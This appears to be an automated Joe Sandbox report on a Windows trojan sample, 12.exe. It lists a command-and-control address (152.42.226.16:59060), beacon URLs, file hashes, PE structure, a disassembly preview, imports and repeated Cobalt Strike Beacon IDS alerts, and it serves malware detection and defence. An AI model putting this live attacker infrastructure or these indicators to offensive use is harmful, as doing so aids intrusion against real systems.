http://152.42.226.16:59060/cxwshqos.dll.mui	12.exe, 00000000.00000002.4124793161.0000000000793000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://152.42.226.16:59060/cxA-	12.exe, 00000000.00000002.4124793161.0000000000793000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://152.42.226.16:59060/cxj-v)	12.exe, 00000000.00000002.4124793161.0000000000793000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://152.42.226.16:59060/cxmswsock.dll.muiW=L)	12.exe, 00000000.00000002.4124793161.0000000000793000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://152.42.226.16:59060/cxN-	12.exe, 00000000.00000002.4124793161.0000000000793000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
152.42.226.16	unknown	United States		81	NCRENUS	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1581039
Start date and time:	2024-12-26 19:27:05 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 15s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	5
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	12.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@1/0@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 98% Number of executed functions: 35 Number of non-executed functions: 160
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 52.149.20.212, 13.107.246.63
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtDeviceIoControlFile calls found.
VT rate limit hit for: 12.exe

Simulations

Behavior and APIs

Time	Type	Description
13:27:57	API Interceptor	11235564x Sleep call for process: 12.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
152.42.226.16	7W3KSFhWbw.elf	Get hash	malicious	Unknown	Browse
	3K6iey8Gan.elf	Get hash	malicious	Unknown	Browse
	yA6XZfl1zU.elf	Get hash	malicious	Unknown	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
NCRENUS	xd.sh4.elf	Get hash	malicious	Mirai	Browse	152.50.51.184
	xd.mpsl.elf	Get hash	malicious	Mirai	Browse	204.87.8.87
	telnet.ppc.elf	Get hash	malicious	Unknown	Browse	152.36.142.178
	loligang.arm7.elf	Get hash	malicious	Mirai	Browse	152.12.73.251
	nklmpsl.elf	Get hash	malicious	Unknown	Browse	152.28.215.100
	arm.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	152.9.28.133
	arm5.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	198.86.164.26
	spc.elf	Get hash	malicious	Mirai, Moobot	Browse	152.45.109.36
	star.ppc.elf	Get hash	malicious	Mirai, Moobot	Browse	152.10.107.176
	https://shibe-rium.net/	Get hash	malicious	Unknown	Browse	152.42.156.84

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

⊘No created / dropped files found

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Entropy (8bit):	6.737889780496197
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% VXD Driver (31/22) 0.00% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	12.exe
File size:	324'096 bytes
MD5:	c8c40c038a4a8541e0924520599d8c28
SHA1:	295bb62eaf5f53f55d60f2f339a45cd7cd7aa82c
SHA256:	cbc52ae56076b1e28cff760b662145425620ae4b6d400cc9446deec21d1aae4a
SHA512:	76a4daccd65b67304942575cd47e8b63a658ba76d3be9a1a8977189538fb69bd22c9faa8b441fe1a5b355802afa0613c1c74b5e219360bfce5b447677e46e51c
SSDEEP:	6144:niCnYE+pwcF84FHvr3JeYF+u5KyckoVuB31c1:iCnj+Y4FPUM+u57sG31c1
TLSH:	E464CEB0D852E6E3C3885CB13D92FA57B7939B14013627EB892F948097F57A0CD4A74E
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......................".....................0....@..........................@......l......... ............................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x4014a0
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DEBUG_STRIPPED
DLL Characteristics:
Time Stamp:	0x0 [Thu Jan 1 00:00:00 1970 UTC]
TLS Callbacks:	0x401b40, 0x401af0
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f6243a15fa8eee8ee96b5e1144d461f6

Entrypoint Preview

Instruction
sub esp, 0Ch
mov dword ptr [00450394h], 00000001h
call 00007F4AB506DA43h
add esp, 0Ch
jmp 00007F4AB506D1FBh
lea esi, dword ptr [esi+00000000h]
sub esp, 0Ch
mov dword ptr [00450394h], 00000000h
call 00007F4AB506DA23h
add esp, 0Ch
jmp 00007F4AB506D1DBh
lea esi, dword ptr [esi+00000000h]
sub esp, 1Ch
mov eax, dword ptr [esp+20h]
mov dword ptr [esp], eax
call 00007F4AB506E9CAh
test eax, eax
sete al
add esp, 1Ch
movzx eax, al
neg eax
ret
nop
nop
nop
push ebp
mov ebp, esp
sub esp, 18h
mov dword ptr [esp], 00401520h
call 00007F4AB506D523h
leave
ret
lea esi, dword ptr [esi+00000000h]
lea esi, dword ptr [esi+00h]
nop
ret
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push ebp
mov ebp, esp
mov eax, dword ptr [ebp+08h]
pop ebp
jmp eax
push ebp
mov edx, dword ptr [0040302Ch]
mov ebp, esp
mov eax, dword ptr [ebp+08h]
test edx, edx
jle 00007F4AB506D573h
cmp dword ptr [00403030h], 00000000h
jle 00007F4AB506D56Ah
mov ecx, dword ptr [00451148h]
mov dword ptr [eax+edx], ecx
mov ecx, dword ptr [0045114Ch]
mov edx, dword ptr [00403030h]

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x51000	0x644	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x4f030	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x5111c	0xe0	.idata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x1a44	0x1c00	78084e5ca85835392a463f62abd5746c	False	0.5334821428571429	data	5.700340700341032	IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0x3000	0x4bc6c	0x4be00	15647f750fd4bb141b4734a68d6d66f5	False	0.564453125	dBase III DBT, version number 0, next free block index 10, 1st item "\206\270\324\021\242\273\324\021\242\273\324\021\242\273\324\021\242\273\324\021\242\273\324\021\242\273\324\021\214\317\261i\326\273\324\021w*\326\021\242\253\324\021\242)\326\021\242\277\324\021\242\273\324\021\242\273\324\021\242\273\324\021\202\273\324q\214\311\260p\326\332\324\021\203'\324\021\242\013\326\021\242%\324\021\242-\326\021\242\273\324\021\242\273\324\021\242\273\324\021\342\273\324Q\214\337\265e\303\273\324\021\342I\324\021\242\353\327\021\242\311\324"	6.758593457994394	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0x4f000	0x634	0x800	667441c840a2c3ea7e1291acd47bf4c5	False	0.2275390625	data	4.495993508967327	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ
.bss	0x50000	0x428	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x51000	0x644	0x800	7d72908e4c68f22d444c4e664d88dda3	False	0.3544921875	data	4.2935353496828945	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.CRT	0x52000	0x34	0x200	a09a5f5fb4593e99cd0076e5f2fcec2e	False	0.072265625	Matlab v4 mat-file (little endian) \200\031@, numeric, rows 4198688, columns 0	0.2711142780062829	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tls	0x53000	0x8	0x200	bf619eac0cdf3f68d496ea9344137e8b	False	0.02734375	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL

Import

KERNEL32.dll

CloseHandle, ConnectNamedPipe, CreateFileA, CreateNamedPipeA, CreateThread, DeleteCriticalSection, EnterCriticalSection, GetCurrentProcess, GetCurrentProcessId, GetCurrentThreadId, GetLastError, GetModuleHandleA, GetProcAddress, GetStartupInfoA, GetSystemTimeAsFileTime, GetTickCount, InitializeCriticalSection, LeaveCriticalSection, QueryPerformanceCounter, ReadFile, SetUnhandledExceptionFilter, Sleep, TerminateProcess, TlsGetValue, UnhandledExceptionFilter, VirtualAlloc, VirtualProtect, VirtualQuery, WriteFile

msvcrt.dll

__getmainargs, __initenv, __lconv_init, __p__acmdln, __p__fmode, __set_app_type, __setusermatherr, _amsg_exit, _cexit, _initterm, _iob, _onexit, abort, calloc, exit, fprintf, free, fwrite, malloc, memcpy, signal, sprintf, strlen, strncmp, vfprintf

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-26T19:28:01.174082+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49730	152.42.226.16	59060	TCP
2024-12-26T19:28:04.065607+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49731	152.42.226.16	59060	TCP
2024-12-26T19:28:07.008994+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49732	152.42.226.16	59060	TCP
2024-12-26T19:28:09.938290+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49733	152.42.226.16	59060	TCP
2024-12-26T19:28:13.024487+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49734	152.42.226.16	59060	TCP
2024-12-26T19:28:15.921977+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49735	152.42.226.16	59060	TCP
2024-12-26T19:28:18.852713+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49737	152.42.226.16	59060	TCP
2024-12-26T19:28:21.863365+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49741	152.42.226.16	59060	TCP
2024-12-26T19:28:24.767420+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49743	152.42.226.16	59060	TCP
2024-12-26T19:28:27.658629+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49745	152.42.226.16	59060	TCP
2024-12-26T19:28:30.587201+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49746	152.42.226.16	59060	TCP
2024-12-26T19:28:33.469999+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49747	152.42.226.16	59060	TCP
2024-12-26T19:28:36.381095+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49748	152.42.226.16	59060	TCP
2024-12-26T19:28:39.298766+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49749	152.42.226.16	59060	TCP
2024-12-26T19:28:42.220886+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49750	152.42.226.16	59060	TCP
2024-12-26T19:28:45.126842+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49751	152.42.226.16	59060	TCP
2024-12-26T19:28:48.127398+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49752	152.42.226.16	59060	TCP
2024-12-26T19:28:51.077524+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49753	152.42.226.16	59060	TCP
2024-12-26T19:28:53.995484+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49754	152.42.226.16	59060	TCP
2024-12-26T19:28:56.948292+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49755	152.42.226.16	59060	TCP
2024-12-26T19:28:59.893821+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49758	152.42.226.16	59060	TCP
2024-12-26T19:29:02.785028+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49764	152.42.226.16	59060	TCP
2024-12-26T19:29:05.752619+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49770	152.42.226.16	59060	TCP
2024-12-26T19:29:08.643492+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49776	152.42.226.16	59060	TCP
2024-12-26T19:29:11.534105+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49782	152.42.226.16	59060	TCP
2024-12-26T19:29:14.424353+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49788	152.42.226.16	59060	TCP
2024-12-26T19:29:17.315337+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49794	152.42.226.16	59060	TCP
2024-12-26T19:29:20.206541+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49805	152.42.226.16	59060	TCP
2024-12-26T19:29:23.112154+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49811	152.42.226.16	59060	TCP
2024-12-26T19:29:26.230193+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49817	152.42.226.16	59060	TCP
2024-12-26T19:29:29.189460+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49823	152.42.226.16	59060	TCP
2024-12-26T19:29:32.105461+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49829	152.42.226.16	59060	TCP
2024-12-26T19:29:35.046126+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49839	152.42.226.16	59060	TCP
2024-12-26T19:29:37.940700+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49846	152.42.226.16	59060	TCP
2024-12-26T19:29:40.833437+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49852	152.42.226.16	59060	TCP
2024-12-26T19:29:43.731451+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49858	152.42.226.16	59060	TCP
2024-12-26T19:29:46.671469+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49869	152.42.226.16	59060	TCP
2024-12-26T19:29:49.566010+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49875	152.42.226.16	59060	TCP
2024-12-26T19:29:52.473411+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49881	152.42.226.16	59060	TCP
2024-12-26T19:29:55.539263+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49887	152.42.226.16	59060	TCP
2024-12-26T19:29:58.426729+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49896	152.42.226.16	59060	TCP
2024-12-26T19:30:01.355750+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49904	152.42.226.16	59060	TCP
2024-12-26T19:30:04.261831+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49910	152.42.226.16	59060	TCP
2024-12-26T19:30:07.144332+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49916	152.42.226.16	59060	TCP
2024-12-26T19:30:10.036173+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49925	152.42.226.16	59060	TCP
2024-12-26T19:30:12.925060+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49933	152.42.226.16	59060	TCP
2024-12-26T19:30:16.035600+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49939	152.42.226.16	59060	TCP
2024-12-26T19:30:18.931747+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49945	152.42.226.16	59060	TCP
2024-12-26T19:30:21.832539+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49954	152.42.226.16	59060	TCP
2024-12-26T19:30:24.725469+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49962	152.42.226.16	59060	TCP
2024-12-26T19:30:27.613095+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49968	152.42.226.16	59060	TCP
2024-12-26T19:30:30.503531+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49973	152.42.226.16	59060	TCP
2024-12-26T19:30:33.410620+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49978	152.42.226.16	59060	TCP
2024-12-26T19:30:36.319540+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49987	152.42.226.16	59060	TCP
2024-12-26T19:30:39.298482+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49994	152.42.226.16	59060	TCP
2024-12-26T19:30:42.223934+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	50000	152.42.226.16	59060	TCP
2024-12-26T19:30:45.113944+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	50009	152.42.226.16	59060	TCP
2024-12-26T19:30:48.020191+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	50016	152.42.226.16	59060	TCP
2024-12-26T19:30:50.913584+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	50022	152.42.226.16	59060	TCP
2024-12-26T19:30:53.801887+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	50029	152.42.226.16	59060	TCP
2024-12-26T19:30:56.737650+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	50036	152.42.226.16	59060	TCP
2024-12-26T19:30:59.629939+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	50045	152.42.226.16	59060	TCP
2024-12-26T19:31:02.519995+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	50050	152.42.226.16	59060	TCP
2024-12-26T19:31:05.411871+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	50056	152.42.226.16	59060	TCP
2024-12-26T19:31:08.305535+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	50063	152.42.226.16	59060	TCP
2024-12-26T19:31:11.209608+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	50067	152.42.226.16	59060	TCP
2024-12-26T19:31:14.098124+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	50068	152.42.226.16	59060	TCP
2024-12-26T19:31:16.988917+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	50069	152.42.226.16	59060	TCP
2024-12-26T19:31:19.896222+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	50070	152.42.226.16	59060	TCP
2024-12-26T19:31:22.845151+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	50071	152.42.226.16	59060	TCP
2024-12-26T19:31:25.755345+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	50072	152.42.226.16	59060	TCP
2024-12-26T19:31:28.660857+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	50073	152.42.226.16	59060	TCP
2024-12-26T19:31:31.559825+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	50074	152.42.226.16	59060	TCP
2024-12-26T19:31:34.521650+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	50075	152.42.226.16	59060	TCP
2024-12-26T19:31:37.583462+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	50076	152.42.226.16	59060	TCP
2024-12-26T19:31:40.475090+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	50077	152.42.226.16	59060	TCP
2024-12-26T19:31:43.731887+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	50078	152.42.226.16	59060	TCP
2024-12-26T19:31:46.633605+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	50079	152.42.226.16	59060	TCP
2024-12-26T19:31:49.520544+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	50080	152.42.226.16	59060	TCP
2024-12-26T19:31:52.413722+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	50081	152.42.226.16	59060	TCP
2024-12-26T19:31:55.302479+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	50082	152.42.226.16	59060	TCP
2024-12-26T19:31:58.236196+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	50083	152.42.226.16	59060	TCP
2024-12-26T19:32:01.240049+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	50084	152.42.226.16	59060	TCP
2024-12-26T19:32:04.130504+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	50085	152.42.226.16	59060	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 26, 2024 19:27:58.381906033 CET	49730	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:27:58.501657009 CET	59060	49730	152.42.226.16	192.168.2.4
Dec 26, 2024 19:27:58.501773119 CET	49730	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:27:58.501960039 CET	49730	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:27:58.621462107 CET	59060	49730	152.42.226.16	192.168.2.4
Dec 26, 2024 19:28:01.173985004 CET	59060	49730	152.42.226.16	192.168.2.4
Dec 26, 2024 19:28:01.174082041 CET	49730	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:28:01.174201012 CET	49730	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:28:01.284480095 CET	49731	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:28:01.293832064 CET	59060	49730	152.42.226.16	192.168.2.4
Dec 26, 2024 19:28:01.404340029 CET	59060	49731	152.42.226.16	192.168.2.4
Dec 26, 2024 19:28:01.404429913 CET	49731	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:28:01.404603958 CET	49731	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:28:01.525646925 CET	59060	49731	152.42.226.16	192.168.2.4
Dec 26, 2024 19:28:04.065500975 CET	59060	49731	152.42.226.16	192.168.2.4
Dec 26, 2024 19:28:04.065607071 CET	49731	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:28:04.065776110 CET	49731	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:28:04.188317060 CET	59060	49731	152.42.226.16	192.168.2.4
Dec 26, 2024 19:28:04.205208063 CET	49732	59060	192.168.2.4	152.42.226.16
